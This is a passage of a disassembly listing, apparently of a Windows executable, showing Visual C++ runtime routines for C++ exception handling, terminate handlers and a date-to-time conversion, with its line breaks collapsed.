dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jz short loc_42D07B mov ecx, [ebp+arg_0] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jnz short loc_42D085 loc_42D07B: ; CODE XREF: sub_42D060+Bj mov eax, 1 jmp loc_42D112 ; --------------------------------------------------------------------------- loc_42D085: ; CODE XREF: sub_42D060+19j mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+4] cmp eax, [edx+4] jz short loc_42D0B7 mov ecx, [ebp+arg_4] mov edx, [ecx+4] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] add ecx, 8 push ecx call sub_41F7E0 add esp, 8 test eax, eax jz short loc_42D0B7 xor eax, eax jmp short loc_42D112 ; --------------------------------------------------------------------------- loc_42D0B7: ; CODE XREF: sub_42D060+31j ; sub_42D060+51j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 2 test eax, eax jz short loc_42D0CF mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 8 test edx, edx jz short loc_42D108 loc_42D0CF: ; CODE XREF: sub_42D060+61j mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42D0E7 mov edx, [ebp+arg_0] mov eax, [edx] and eax, 1 test eax, eax jz short loc_42D108 loc_42D0E7: ; CODE XREF: sub_42D060+79j mov ecx, [ebp+arg_8] mov edx, [ecx] and edx, 2 test edx, edx jz short loc_42D0FF mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 2 test ecx, ecx jz short loc_42D108 loc_42D0FF: ; CODE XREF: sub_42D060+91j mov [ebp+var_4], 1 jmp short loc_42D10F ; --------------------------------------------------------------------------- loc_42D108: ; CODE XREF: sub_42D060+6Dj ; sub_42D060+85j ... mov [ebp+var_4], 0 loc_42D10F: ; CODE XREF: sub_42D060+A6j mov eax, [ebp+var_4] loc_42D112: ; CODE XREF: sub_42D060+20j ; sub_42D060+55j mov esp, ebp pop ebp retn sub_42D060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D120 proc near ; CODE XREF: _0:0042047Ap ; sub_42CBB0+4Cp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D328 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_1C], ecx loc_42D14F: ; CODE XREF: sub_42D120+BFj mov edx, [ebp+var_1C] cmp edx, [ebp+arg_C] jz loc_42D1E4 cmp [ebp+var_1C], 0FFFFFFFFh jle short loc_42D175 mov eax, [ebp+arg_8] mov ecx, [ebp+var_1C] cmp ecx, [eax+4] jge short loc_42D175 mov [ebp+var_20], 0 jmp short loc_42D17D ; --------------------------------------------------------------------------- loc_42D175: ; CODE XREF: sub_42D120+3Fj ; sub_42D120+4Aj call sub_42D910 mov [ebp+var_20], eax loc_42D17D: ; CODE XREF: sub_42D120+53j mov [ebp+var_4], 0 mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] cmp dword ptr [eax+ecx*8+4], 0 jz short loc_42D1B0 push 103h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] mov ecx, [eax+8] mov edx, [ebp+var_1C] mov eax, [ecx+edx*8+4] push eax call sub_42D810 loc_42D1B0: ; CODE XREF: sub_42D120+72j mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42D1D0 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_14] push ecx call sub_42D220 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_42D1D0: ; CODE XREF: sub_42D120+97j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] mov edx, [eax+ecx*8] mov [ebp+var_1C], edx jmp loc_42D14F ; --------------------------------------------------------------------------- loc_42D1E4: ; CODE XREF: sub_42D120+35j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_C] jnz short loc_42D1F5 mov [ebp+var_24], 0 jmp short loc_42D1FD ; --------------------------------------------------------------------------- loc_42D1F5: ; CODE XREF: sub_42D120+CAj call sub_42D910 mov [ebp+var_24], eax loc_42D1FD: ; CODE XREF: sub_42D120+D3j mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] mov [ecx+8], edx mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42D120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D220 proc near ; CODE XREF: sub_42D120+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_8], eax cmp [ebp+var_8], 0E06D7363h jz short loc_42D241 jmp short loc_42D246 ; --------------------------------------------------------------------------- loc_42D241: ; CODE XREF: sub_42D220+1Dj call sub_42D860 loc_42D246: ; CODE XREF: sub_42D220+1Fj xor eax, eax mov esp, ebp pop ebp retn sub_42D220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D250 proc near ; CODE XREF: sub_42CCA0+22Bp ; sub_42CF40+104p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_18], 0 jz short loc_42D27A mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42D4B0 add esp, 10h loc_42D27A: ; CODE XREF: sub_42D250+10j cmp [ebp+arg_24], 0 jnz short loc_42D28F mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_4203C0 jmp short loc_42D29C ; --------------------------------------------------------------------------- loc_42D28F: ; CODE XREF: sub_42D250+2Ej mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_24] push edx call sub_4203C0 loc_42D29C: ; CODE XREF: sub_42D250+3Dj mov eax, [ebp+arg_1C] mov ecx, [eax] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_42D120 add esp, 10h mov edx, [ebp+arg_1C] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx+8], eax push 100h mov edx, [ebp+arg_20] push edx mov eax, [ebp+arg_14] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42D310 add esp, 1Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42D303 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_8] push ecx call sub_420350 loc_42D303: ; CODE XREF: sub_42D250+A4j mov esp, ebp pop ebp retn sub_42D250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D310 proc near ; CODE XREF: sub_42D250+95p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0042D44B SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D338 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax mov [ebp+var_24], 0 mov ecx, [ebp+arg_4] mov edx, [ecx-4] mov [ebp+var_28], edx call sub_428EE0 mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_428EE0 mov ecx, [eax+70h] mov [ebp+var_20], ecx call sub_428EE0 mov edx, [ebp+arg_0] mov [eax+6Ch], edx call sub_428EE0 mov ecx, [ebp+arg_8] mov [eax+70h], ecx mov [ebp+var_4], 0 mov [ebp+var_4], 1 mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_420490 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], 0 jmp short loc_42D3DF ; --------------------------------------------------------------------------- loc_42D3AE: ; DATA XREF: _1:0043D348o mov ecx, [ebp+var_14] push ecx call sub_42D460 add esp, 4 retn ; --------------------------------------------------------------------------- loc_42D3BB: ; DATA XREF: _1:0043D34Co mov esp, [ebp+var_18] mov [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_30], 0 lea edx, [ebp+var_10] push edx call sub_420772 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42D44E ; --------------------------------------------------------------------------- loc_42D3DF: ; CODE XREF: sub_42D310+9Cj mov [ebp+var_4], 0FFFFFFFFh call sub_42D3ED jmp short loc_42D44B sub_42D310 endp ; =============== S U B R O U T I N E ======================================= sub_42D3ED proc near ; CODE XREF: sub_42D310+D6p ; DATA XREF: _1:0043D340o mov eax, [ebp+0Ch] mov ecx, [ebp-28h] mov [eax-4], ecx call sub_428EE0 mov edx, [ebp-1Ch] mov [eax+6Ch], edx call sub_428EE0 mov ecx, [ebp-20h] mov [eax+70h], ecx mov edx, [ebp+8] cmp dword ptr [edx], 0E06D7363h jnz short locret_42D44A mov eax, [ebp+8] cmp dword ptr [eax+10h], 3 jnz short locret_42D44A mov ecx, [ebp+8] cmp dword ptr [ecx+14h], 19930520h jnz short locret_42D44A cmp dword ptr [ebp-24h], 0 jnz short locret_42D44A cmp dword ptr [ebp-2Ch], 0 jz short locret_42D44A call sub_4207DA push eax mov edx, [ebp+8] push edx call sub_42D730 add esp, 8 locret_42D44A: ; CODE XREF: sub_42D3ED+28j ; sub_42D3ED+31j ... retn sub_42D3ED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D310 loc_42D44B: ; CODE XREF: sub_42D310+DBj mov eax, [ebp+var_2C] loc_42D44E: ; CODE XREF: sub_42D310+CDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42D310 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D460 proc near ; CODE XREF: sub_42D310+A2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp dword ptr [edx], 0E06D7363h jnz short loc_42D49C mov eax, [ebp+var_4] cmp dword ptr [eax+10h], 3 jnz short loc_42D49C mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 19930520h jnz short loc_42D49C mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_42D49C mov eax, 1 jmp short loc_42D49E ; --------------------------------------------------------------------------- loc_42D49C: ; CODE XREF: sub_42D460+15j ; sub_42D460+1Ej ... xor eax, eax loc_42D49E: ; CODE XREF: sub_42D460+3Aj mov esp, ebp pop ebp retn sub_42D460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D4B0 proc near ; CODE XREF: sub_42D250+22p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D350 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_42D4F6 mov ecx, [ebp+arg_8] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jz short loc_42D4F6 mov ecx, [ebp+arg_8] cmp dword ptr [ecx+8], 0 jnz short loc_42D4FB loc_42D4F6: ; CODE XREF: sub_42D4B0+2Dj ; sub_42D4B0+3Bj jmp loc_42D71A ; --------------------------------------------------------------------------- loc_42D4FB: ; CODE XREF: sub_42D4B0+44j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+arg_4] lea edx, [ecx+eax+0Ch] mov [ebp+var_1C], edx mov [ebp+var_4], 0 mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 8 test ecx, ecx jz short loc_42D576 push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_432F80 add esp, 8 test eax, eax jz short loc_42D56C push 1 mov ecx, [ebp+var_1C] push ecx call sub_432FB0 add esp, 8 test eax, eax jz short loc_42D56C mov edx, [ebp+var_1C] mov eax, [ebp+arg_0] mov ecx, [eax+18h] mov [edx], ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+var_1C] mov ecx, [eax] push ecx call sub_42D7C0 add esp, 8 mov edx, [ebp+var_1C] mov [edx], eax jmp short loc_42D571 ; --------------------------------------------------------------------------- loc_42D56C: ; CODE XREF: sub_42D4B0+81j ; sub_42D4B0+93j call sub_42D910 loc_42D571: ; CODE XREF: sub_42D4B0+BAj jmp loc_42D703 ; --------------------------------------------------------------------------- loc_42D576: ; CODE XREF: sub_42D4B0+6Cj mov eax, [ebp+arg_C] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42D5FA push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_432F80 add esp, 8 test eax, eax jz short loc_42D5F0 push 1 mov ecx, [ebp+var_1C] push ecx call sub_432FB0 add esp, 8 test eax, eax jz short loc_42D5F0 mov edx, [ebp+arg_C] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_420840 add esp, 0Ch mov ecx, [ebp+arg_C] cmp dword ptr [ecx+14h], 4 jnz short loc_42D5EE mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jz short loc_42D5EE mov eax, [ebp+arg_C] add eax, 8 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] push edx call sub_42D7C0 add esp, 8 mov ecx, [ebp+var_1C] mov [ecx], eax loc_42D5EE: ; CODE XREF: sub_42D4B0+11Aj ; sub_42D4B0+122j jmp short loc_42D5F5 ; --------------------------------------------------------------------------- loc_42D5F0: ; CODE XREF: sub_42D4B0+E5j ; sub_42D4B0+F7j call sub_42D910 loc_42D5F5: ; CODE XREF: sub_42D4B0:loc_42D5EEj jmp loc_42D703 ; --------------------------------------------------------------------------- loc_42D5FA: ; CODE XREF: sub_42D4B0+D0j mov edx, [ebp+arg_C] cmp dword ptr [edx+18h], 0 jnz short loc_42D660 push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_432F80 add esp, 8 test eax, eax jz short loc_42D656 push 1 mov edx, [ebp+var_1C] push edx call sub_432FB0 add esp, 8 test eax, eax jz short loc_42D656 mov eax, [ebp+arg_C] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42D7C0 add esp, 8 push eax mov edx, [ebp+var_1C] push edx call sub_420840 add esp, 0Ch jmp short loc_42D65B ; --------------------------------------------------------------------------- loc_42D656: ; CODE XREF: sub_42D4B0+166j ; sub_42D4B0+178j call sub_42D910 loc_42D65B: ; CODE XREF: sub_42D4B0+1A4j jmp loc_42D703 ; --------------------------------------------------------------------------- loc_42D660: ; CODE XREF: sub_42D4B0+151j push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_432F80 add esp, 8 test eax, eax jz loc_42D6FE push 1 mov edx, [ebp+var_1C] push edx call sub_432FB0 add esp, 8 test eax, eax jz short loc_42D6FE mov eax, [ebp+arg_C] mov ecx, [eax+18h] push ecx call sub_432FE0 add esp, 4 test eax, eax jz short loc_42D6FE mov edx, [ebp+arg_C] mov eax, [edx] and eax, 4 test eax, eax jz short loc_42D6D5 push 1 mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42D7C0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_4203B0 jmp short loc_42D6FC ; --------------------------------------------------------------------------- loc_42D6D5: ; CODE XREF: sub_42D4B0+1F8j mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42D7C0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_4203A0 loc_42D6FC: ; CODE XREF: sub_42D4B0+223j jmp short loc_42D703 ; --------------------------------------------------------------------------- loc_42D6FE: ; CODE XREF: sub_42D4B0+1C3j ; sub_42D4B0+1D9j ... call sub_42D910 loc_42D703: ; CODE XREF: sub_42D4B0:loc_42D571j ; sub_42D4B0:loc_42D5F5j ... mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42D71A ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_42D860 loc_42D71A: ; CODE XREF: sub_42D4B0:loc_42D4F6j ; sub_42D4B0+25Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42D4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D730 proc near ; CODE XREF: sub_42CCA0+252p ; sub_42D3ED+55p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D360 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jz short loc_42D7A5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+4], 0 jz short loc_42D7A5 mov [ebp+var_4], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_420390 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42D7A5 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_42D860 loc_42D7A5: ; CODE XREF: sub_42D730+2Aj ; sub_42D730+36j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42D730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D7C0 proc near ; CODE XREF: sub_42D4B0+ADp ; sub_42D4B0+131p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jl short loc_42D7FF mov eax, [ebp+arg_4] mov ecx, [eax+4] mov edx, [ebp+arg_0] mov eax, [edx+ecx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov ecx, [ebp+var_4] add ecx, [eax+edx] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] add eax, [edx+4] mov [ebp+var_4], eax loc_42D7FF: ; CODE XREF: sub_42D7C0+16j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42D7C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D810 proc near ; CODE XREF: sub_420490+4Dp ; sub_42D120+8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_4207FD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42D84F mov ecx, 2 loc_42D84F: ; CODE XREF: sub_42D810+38j push ecx call sub_4207FD pop ebp pop ecx pop ebx leave retn 0Ch sub_42D810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D860 proc near ; CODE XREF: sub_42CCA0:loc_42CF33p ; sub_42D220:loc_42D241p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042D8D4 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D370 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 call sub_428EE0 cmp dword ptr [eax+60h], 0 jz short loc_42D8C0 mov [ebp+var_4], 1 call sub_428EE0 call dword ptr [eax+60h] mov [ebp+var_4], 0 jmp short loc_42D8C0 ; --------------------------------------------------------------------------- loc_42D8B0: ; DATA XREF: _1:0043D380o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42D8B6: ; DATA XREF: _1:0043D384o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42D8C0: ; CODE XREF: sub_42D860+36j ; sub_42D860+4Ej mov [ebp+var_4], 0FFFFFFFFh call sub_42D8CE jmp short loc_42D8D4 sub_42D860 endp ; =============== S U B R O U T I N E ======================================= sub_42D8CE proc near ; CODE XREF: sub_42D860+67p ; DATA XREF: _1:0043D378o call sub_433010 retn sub_42D8CE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D860 loc_42D8D4: ; CODE XREF: sub_42D860+6Cj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42D860 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_428EE0 cmp dword ptr [eax+64h], 0 jz short loc_42D906 call sub_428EE0 call dword ptr [eax+64h] loc_42D906: ; CODE XREF: _0:0042D8FCj call sub_42D860 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D910 proc near ; CODE XREF: sub_4206A0+23p ; sub_4206A0:loc_42070Dp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042D980 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D388 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp ds:off_4541B0, 0 jz short loc_42D96C mov [ebp+var_4], 1 call ds:off_4541B0 mov [ebp+var_4], 0 jmp short loc_42D96C ; --------------------------------------------------------------------------- loc_42D95C: ; DATA XREF: _1:0043D398o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42D962: ; DATA XREF: _1:0043D39Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42D96C: ; CODE XREF: sub_42D910+34j ; sub_42D910+4Aj mov [ebp+var_4], 0FFFFFFFFh call sub_42D97A jmp short loc_42D980 sub_42D910 endp ; =============== S U B R O U T I N E ======================================= sub_42D97A proc near ; CODE XREF: sub_42D910+63p ; DATA XREF: _1:0043D390o call sub_42D860 retn sub_42D97A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D910 loc_42D980: ; CODE XREF: sub_42D910+68j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42D910 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D9A0 proc near ; CODE XREF: sub_420D80+161p var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] sub eax, 76Ch mov [ebp+arg_0], eax cmp [ebp+arg_0], 46h jl short loc_42D9C0 cmp [ebp+arg_0], 8Ah jle short loc_42D9C8 loc_42D9C0: ; CODE XREF: sub_42D9A0+15j or eax, 0FFFFFFFFh jmp loc_42DA8A ; --------------------------------------------------------------------------- loc_42D9C8: ; CODE XREF: sub_42D9A0+1Ej mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] add edx, ds:dword_45456C[ecx*4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] and eax, 3 test eax, eax jnz short loc_42D9F1 cmp [ebp+arg_4], 2 jle short loc_42D9F1 mov ecx, [ebp+var_2C] add ecx, 1 mov [ebp+var_2C], ecx loc_42D9F1: ; CODE XREF: sub_42D9A0+40j ; sub_42D9A0+46j mov edx, [ebp+arg_0] sub edx, 46h imul edx, 16Dh mov eax, [ebp+arg_0] sub eax, 1 sar eax, 2 mov ecx, [ebp+var_2C] add ecx, edx lea edx, [eax+ecx-11h] imul edx, 18h add edx, [ebp+arg_C] mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 3Ch add eax, [ebp+arg_10] imul eax, 3Ch add eax, [ebp+arg_14] mov [ebp+var_4], eax call sub_433030 mov ecx, [ebp+var_4] add ecx, ds:dword_454488 mov [ebp+var_4], ecx mov edx, [ebp+var_2C] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov [ebp+var_14], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_C] mov [ebp+var_20], edx cmp [ebp+arg_18], 1 jz short loc_42DA7B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_42DA87 cmp ds:dword_45448C, 0 jz short loc_42DA87 lea eax, [ebp+var_28] push eax call sub_433440 add esp, 4 test eax, eax jz short loc_42DA87 loc_42DA7B: ; CODE XREF: sub_42D9A0+BAj mov ecx, [ebp+var_4] add ecx, ds:dword_454490 mov [ebp+var_4], ecx loc_42DA87: ; CODE XREF: sub_42D9A0+C0j ; sub_42D9A0+C9j ... mov eax, [ebp+var_4] loc_42DA8A: ; CODE XREF: sub_42D9A0+23j mov esp, ebp pop ebp retn sub_42D9A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0B0h cmp dword ptr [ebp+8], 0 jl short loc_42DAA5 cmp dword ptr [ebp+8], 5 jle short loc_42DAAC loc_42DAA5: ; CODE XREF: _0:0042DA9Dj xor eax, eax jmp loc_42DE7B ; --------------------------------------------------------------------------- loc_42DAAC: ; CODE XREF: _0:0042DAA3j push 13h call sub_423280 add esp, 4 mov dword ptr [ebp-4], 1 mov eax, ds:dword_4F37C4 add eax, 1 mov ds:dword_4F37C4, eax loc_42DACA: ; CODE XREF: _0:0042DADBj cmp ds:dword_4F37C8, 0 jz short loc_42DADD push 1 call ds:dword_4F534C ; Sleep jmp short loc_42DACA ; --------------------------------------------------------------------------- loc_42DADD: ; CODE XREF: _0:0042DAD1j cmp dword ptr [ebp+8], 0 jz short loc_42DB21 cmp dword ptr [ebp+0Ch], 0 jz short loc_42DB01 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_42DE80 add esp, 8 mov [ebp-0A8h], eax jmp short loc_42DB13 ; --------------------------------------------------------------------------- loc_42DB01: ; CODE XREF: _0:0042DAE7j mov eax, [ebp+8] imul eax, 0Ch mov ecx, ds:dword_4542C4[eax] mov [ebp-0A8h], ecx loc_42DB13: ; CODE XREF: _0:0042DAFFj mov edx, [ebp-0A8h] mov [ebp-8], edx 